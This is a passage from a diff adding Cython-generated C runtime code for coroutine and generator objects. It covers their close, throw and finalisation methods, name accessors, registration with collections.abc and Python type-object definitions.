(__pyx_CoroutineObject *) self; + PyObject *retval, *raised_exception; + PyObject *yf = gen->yieldfrom; + int err = 0; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + Py_INCREF(yf); + err = __Pyx_Coroutine_CloseIter(gen, yf); + __Pyx_Coroutine_Undelegate(gen); + Py_DECREF(yf); + } + if (err == 0) + PyErr_SetNone(PyExc_GeneratorExit); + retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); + if (unlikely(retval)) { + const char *msg; + Py_DECREF(retval); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(self)) { + msg = "coroutine ignored GeneratorExit"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(self)) { +#if PY_VERSION_HEX < 0x03060000 + msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; +#else + msg = "async generator ignored GeneratorExit"; +#endif + #endif + } else { + msg = "generator ignored GeneratorExit"; + } + PyErr_SetString(PyExc_RuntimeError, msg); + return NULL; + } + raised_exception = PyErr_Occurred(); + if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { + if (raised_exception) PyErr_Clear(); + Py_INCREF(Py_None); + return Py_None; + } + return NULL; +} +static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, + PyObject *args, int close_on_genexit) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + Py_INCREF(yf); + if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { + int err = __Pyx_Coroutine_CloseIter(gen, yf); + Py_DECREF(yf); + __Pyx_Coroutine_Undelegate(gen); + if (err < 0) + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); + goto throw_here; + } + gen->is_running = 1; + if (0 + #ifdef __Pyx_Generator_USED + || __Pyx_Generator_CheckExact(yf) + #endif + #ifdef __Pyx_Coroutine_USED + || __Pyx_Coroutine_Check(yf) + #endif + ) { + ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { + ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); + #endif + } else { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_throw); + if (unlikely(!meth)) { + Py_DECREF(yf); + if (unlikely(PyErr_Occurred())) { + gen->is_running = 0; + return NULL; + } + __Pyx_Coroutine_Undelegate(gen); + gen->is_running = 0; + goto throw_here; + } + if (likely(args)) { + ret = __Pyx_PyObject_Call(meth, args, NULL); + } else { + PyObject *cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if (unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if (unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + {Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + &__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, 